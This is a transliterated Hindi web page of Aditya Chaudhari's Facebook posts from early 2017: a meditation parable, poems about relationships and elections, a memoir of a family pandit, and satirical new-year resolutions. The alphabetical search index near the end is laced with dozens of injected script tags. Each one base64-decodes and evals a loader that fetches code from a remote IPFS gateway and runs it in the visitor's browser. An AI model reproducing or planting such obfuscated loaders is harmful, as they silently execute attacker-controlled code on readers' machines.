आदित्य चौधरी -फ़ेसबुक पोस्ट जनवरी-मार्च 2017

adity chaudhari fesabuk post

varsh 2010-2011 • varsh 2012 • sitanbar 2013 • aktoobar 2013 • navanbar 2013 • disanbar 2013 • janavari 2014 • faravari 2014 • march 2014 • aprॅl 2014 • mee 2014 • joon 2014 • julaee 2014 • agast 2014 • sitanbar 2014 • aktoobar 2014 • navanbar 2014 • disanbar 2014 • janavari 2015 • faravari 2015 • march 2015 • aprॅl 2015 • mee 2015 • joon 2015 • julaee-sitambar 2015 • aktoobar-disambar 2015 • janavari-joon 2016 • julaee-disambar 2016 • janavari-march 2017 • aprail 2017 • mee-disanbar 2017

adity chaudhari- fesabuk post

dinaank- 21 march, 2017

bahut purani bat hai ki ek rajy ke raja sukant dev ka jivan, raj-kaj ke dabav ke karan atyadhik tanav grast ho gaya. rajy ke mantri prabuddhagupt ne raja ko tanav mukti ke lie dhyan karane ki salah di. dhyan-yog ke anek shikshak bulae ge lekin raja, dhyan dharan nahian kar pae. yah atyant chinta ka vishay ban gaya. mantri ne raja se kaha- “rajan! ab aapako dhyan ke lie svami paramanand se sanpark karana hoga, tabhi apako dhyan dharane mean saphalata milegi.”
“ve kahaan nivas karate haian, unako samman sahit turant bulavaya jay.” raja ne kaha.
mantri ne ashanka jataee” ve hamare rajy ki sima ke nikat ek chhote se gaanv mean ashram banakar rahate haian… svamiji yahaan nahian aeange, unake pas jana p dega”
raja poore lav-lashkar ke sath gaanv ki or chal die. raja ne sabako gaanv se bahar hi rok diya aur apane mantri aur do sipahi lekar svamiji ke ashram ki or chal die. raste mean gaanv ki janata bahut khushahal mili, log bahut prasann mudra mean the, charoan or saf safaee thi. raja sukant dev aur mantri prabuddhagupt ko bahut achchha laga aur vah tez qadamoan se ashram ki or badhane lage. jab ashram nazadik ata ja raha tha to kauoan ki kaanv-kaanv aur kuttoan ke bhoankane avazean badhati ja rahi thi jisase raja aur mantri ashchary mean p d ge.

ashram mean pahuanch kar dekha to chhote se ashram ke bich ek phoos ki kutiya thi jisake bahar svamiji baithe kuttoan ko roti khila rahe the aur sath hi sath kauve aur bhinn prakar ki chi diyaoan ko bhi dana chuga rahe the. ashram mean keval ek mahatma aur the jo svamiji ke shishy the.

raja aur mantri yah sab dekhakar dang rah ge aur svami ji ko pranam karane ke bad unake shishy ke ishare se ek chataee par dharati mean hi baith ge. svamiji bhi raja ke sammukh chataee par hi baith ge.
raja ne kaha” maharaj ji! maian apake lie bahut suvidhajanak ashram banavae deta hooan jahaan ye shor karane vale jiv-jantuoan se apako chhutakara mil jaega aur apake dhyan dharane mean koee asuvidha nahian hogi. yadi ap chaheange to gaanv se door kuttoan aur chi diyoan ke lie bhi ek ba da banava diya jaega aur inake bhojan ka prabandh bhi kara diya jaega.”

svami ji muskura kar bole” rajan! apane mere lie itana socha yah apaki b di kripa hai kintu ye kutte aur kaue mujhase pahale yahaan nahian the. inhean to maianne hi ikattha kiya hai. inake kolahal aur shor-gul mean hi to dhyan dharan karane ki sadhana hoti hai. dhyan dharane ke lie kisi sthan-vishesh ki avashyakata nahian haian. aisa nahian hai ki kisi shaant sthan par hi dhyan dhara jata ho. dhyan dharane se bhitari shaanti milati hai jis par bahar ki ashaanti ko koee pratikool prabhav nahian p data. maian bhi pahale dhyan dharane ke lie koee shaant sthan dhooandha karata tha. jab mujhe dhyan ki vastavikata ka jnan hua to maianne kolahal mean hi dhyan ka abhyas kiya jo ki sarvashreshth hai.”
svamiji ne age kaha-
“rajan dhyan to yuddh ke maidan mean bhi kiya ja sakata hai. jab yuddh hota hai to as-pas ke gaanvoan mean log samany dinacharya ke anusar hi gahari niand mean so jate haian. p dosi deshoan mean apas mean golabari hoti rahati hai aur simant gaanvoan mean rahane vali janata chain se so leti hai. gahari niand mean soya hua bachcha bandooq ki avaz se bhi nahian jagata. dhyan ki sthiti to nidra se bhi adhik gahari hoti hai. isalie dhyan ke lie koee vishesh prapanch athava suvidha ki avashyakata nahian hai. dhyan to prakriti dvara pradatt hai, yah manushy ne nahian banaya. haan itana avashy hai ki manushy yadi apani ichchhanusar dhyan mean jana chahe to use abhyas karana p data hai.”

svamiji ki batoan se raja sukant dev ki sari jijnasaoan ka samadhan ho gaya aur ve apane rajadhani laut ge. isake bad raja ko kabhi tanav nahian hua.

dinaank- 20 march, 2017

kuchh log rishtoan ko jite nahian
bas nibahate haian.
zahir hai isake adbhut anand se vanchit rah jate haian.

bahut se to bas rishtoan ko dhote haian
aur vidhata ko dosh dekar rote haian.

kuchh aise bhi haian
jo rishtoan ko to dane ki jugat lagate haian.
is prayas mean kabhi-kabhi akele hi rah jate haian.

param aanandit to ve haian jo
rishtoan ko ji bhar ke jite haian
aur phir
shanadar yadoan ke manzar sajate haian.

to aiye rishtoan ko ji bhar kar jiean
aur is ras bhare anand ko piean.

© adity chaudhari

dinaank- 5 pharavari, 2017

sanskar, manyataean aur astha ek bar ban jati haian to unaka tootana bahut mushkil hota hai aur kabhi-kabhi to namumakin. ye hamari adat bhi ban jati haian aur jab bhi ham inase door hatane ki koshish karate haian, hamako atapata sa mahasoos hota hai.

mere bachapan se hi hamare ghar par pratyek shanivar ko ek pandit ji ate the. jinhean katori mean sarasoan ka tel ek lohe ki kil aur sikka dalakar diya jata tha. us katori mean ham sab apana chehara bhi dekha karate the. pandit ji bahut bhale aur saral svabhav ke the. “chaudhari sahab ke anand hoan bahana, pautr khush rahean” pandit ji ki yah avaz aj bhi mere kanoan mean gooanjati hai. unaka qad ooancha tha (kuchh bachapan ki vajah se lagata bhi tha) chharahara badan tha aur gaandhi topi pahanate the.

jab naya sanvatasar ata tha to ve sanvat sunane ate the. sanvat sunane mean ve batate the us varsh mean kitani barish hogi kitani thand p degi aur kitani loo chaleangi. zoradar bat ye hai ki pitaji bhi sanvat suna karate the. “ is bar sanvat mali ke ghar mean hai bahana, to barish zyada hogi.” pandit ji batate…. isake sath hi varsh mean kitana dharm kitana adharm aur kitana pap kitana puny hai yah bhi batate the. ve kahate “is sanvat mean 14 bisse pap aur 6 bisse puny hai. yane pap zyada aur puny kam hai.” isaka arth samajhane ke lie pahale us zamane ki ganana ko samajhana hoga. bissa (shuddh roop ‘bisva’) ka arth hai ek bigha khet ka bisavaan bhag yane ki ‘sau pratishat’ kahane ke lie kaha jata tha “bat to poore 20 bisse sahi hai” isi ka doosara roop hota tha “bat to poore solah ane sahi hai.” us samay ek rupaye mean solah ane hote the. kॅret ko bhi pratishat ke lie istemal kiya jata tha aur aj bhi kahate haian “bat to 24 kॅret sahi hai”.

pandit ji ko svargavasi hue bisiyoan sal ho ge. unake bad unaka damad ane laga aur ab unaka dhevata (beti ka beta) ata hai. ye log kabhi sanvat nahian suna pae kyoanki inhean janakari hi nahian hai. ab phir naya sanvat ane vala hai, bahut man karata hai ki koee ae aur sanvat sunae. asal bat yah hai ki maian bilkul bhi yah nahian manata ki shanidev kisi ka bhala-bura kar sakate haian lekin bachapan ke sanskar abhi tak chale a rahe haian aur unhean nibahane mean anand bhi ata hai.

dinaank- 18 janavari, 2017

aj hi likhi kuchh panktiyaan apaki seva mean mitro!

"kyoanki ye chunav hai"

vadoan ke pul par
ummidoan ke karavaan
zindagi ki kashmakash ki
uphanati nadi ko
par karane ki koshish
karate nazar aeange

magar afasos
sab dil ka bahalav hai
kyoanki ye chunav hai

aaankhoan ki jhaiyoan se
kanpati uangaliyoan ki
khali aanjali ko takate
usake bharane ki chah mean
naroan se guanjate tanbuoan
mean apane ghar ka sapana dekh aeange

magar afasos
sab dil ka bahalav hai
kyoanki ye chunav hai

jhooth ke labadoan se lade
odhe naqab
dil fareb vafadari ka
shor machate qafiloan
se bikherate jalava apana
karishmaee zuban mean
apana bhashan sunaeange
ki bhee ham janata ke lie
janata ki sarakar banaeange

magar afasos
sab dil ka bahalav hai
kyoanki ye chunav hai

n rishvat badalegi
n chauth
sarakari aspatal chaleange
bina d aauktar-davaee
skool chaleange bina padhaee
janata rahegi chup aur gumasum
kuchh bhi badalega nahian
sirf chehare badalate jaeange
shayad ne chehare kuchh to badal paeange?

magar afasos
sab dil ka bahalav hai
kyoanki ye chunav hai

© adity chaudhari

dinaank- 8 janavari, 2017

suraksha aur santushti ki sthiti prapt karane ke lie bahut zyada paisa kamane ki ichchha ho jati hai lekin hota kuchh aur hi hai. bahut sara paisa kamane ke bad asuraksha aur asantushti ka bhav aur zyada badh jata hai.

dinaank- 6 janavari, 2017

qamayabi koee panchhi nahian hai jise pianjare mean qaid karake rakh liya jay. qamayabi to u dati patang hai jise katane ka dar bana rahata hai. kabhi ‘dhil dekar’ se to kabhi ‘dor khianch kar’ se ise akash mean thame rahana p data hai. pech l dana bhi har hal mean ana chahie varana hath mean sirf dor hi rah jati hai.

dinaank- 3 janavari, 2017

naya sal a gaya ab kuchh nasihatean dedi jayean… n n n apako nahian khud ko hi. matalab ye ki ne sal mean kya-kya karana hai aur kya-kya nahian karana hai.
jaise ki-

koee dedh sau bar suna sunaya hathi-chianti vala chutakula suna raha ho tab bhi poore chutakule ko poore dhairy se sunana hai jisase ki sunane vala ‘hart’ n ho. sunane ke bad hansi n bhi ae tab bhi muskurana zaroor hai ya phir ‘nais jok’ kah dena hai.

kisi se milane par usake kap doan ki tarif karani hai. kap de phatichar hoan to ye zaroor kahana hai ki ‘bade़ frॅsh lag rahe ho’. agar char din ki dadhi badh rahi ho to kahana hai ‘vaise dadhi bhi tum par soot karati hai, tho da alag hat ke lag rahe ho’ aur haan, achchha kahane ke lie ‘kool’ kahana hai.

koee chhianke to ‘g aaud blॅs yoo’ ya sirf ‘g aaud blॅs’ kahana hai, bhale hi vo hamare muanh par hi chhianke. haan usake chhiankane se jo bauchhar hamare oopar aegi use usake samane hi nahian pauanchhana hai.idhar-udhar ja kar pauanchhana hai.

kisi galati par ya halki phulki chot par ‘oh’ ya ‘are’ nahian kahana hai balki ‘auch’ kahana hai. yadi aur adhik su-sanskrit hona hai to
phir ’oops’ kahana hai. ye bhi dhyan rahe ki’o mai g aaud’ aadi ka upayog bhi samay-samay par karana hai. ‘he bhagavan’ ya ‘he ram’ kaheange to ganvar mane jaeange.

bahut zyada s di huee badaboo ko badaboo n kahakar ‘fani smॅl’ kahana hai. khud chahe tin din tak n nahaean lekin parafyoom se pasine ki gandh ko dabae rakhana hai.

sinemah aaul mean hansi ki bat par bhi zor se hansana nahian hai. sirf ‘ai laik it’ kah dena hai. filmean bhi sirf h aaulivud ki dekhani haian (bhale hi agrezi samajh mean n ae). char logoan mean baithakar hindi filmoan ka mazaq u dana hai. gane bhi aangrezi sunane haian.

rikshe-aauto valoan tak se aangrezi mean bat karani hai ya phir har ek vaky mean kam se kam char shabd aangrezi ke bolane haian. jaise ki "bhaiya pliz mujhe na vo nॅkst kr aausiang pe drap kar doge kya? voee rॅd bildiang ke jast bagal mean… aॅkchuli maian let ho raha hooan j aaub ke lie”.

khana khane ke lie kisi dal-roti vale bhojanalay ki bajay kisi itॅliyan, mॅksikan ya japani restraan mean jana hai. vahaan ke khane ke ajib-ajib namoan ko yad karana hai jaise blॅkabin salsa, pasta, t aauratila soop, sushi adi. khana kitana bhi besvad ho (vo to hoga hi) lekin use bahut tarif karate hue khana hai. yammi-yammi bhi kahate rahana hai.

itana sab karake dekha jay, baqi bad mean.
is tarah naya sal bhi aram se kat jaega.
aapako navavarsh ki shubhakamanaean.

shabdarth

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

आदित्य चौधरी -फ़ेसबुक पोस्ट जनवरी-मार्च 2017

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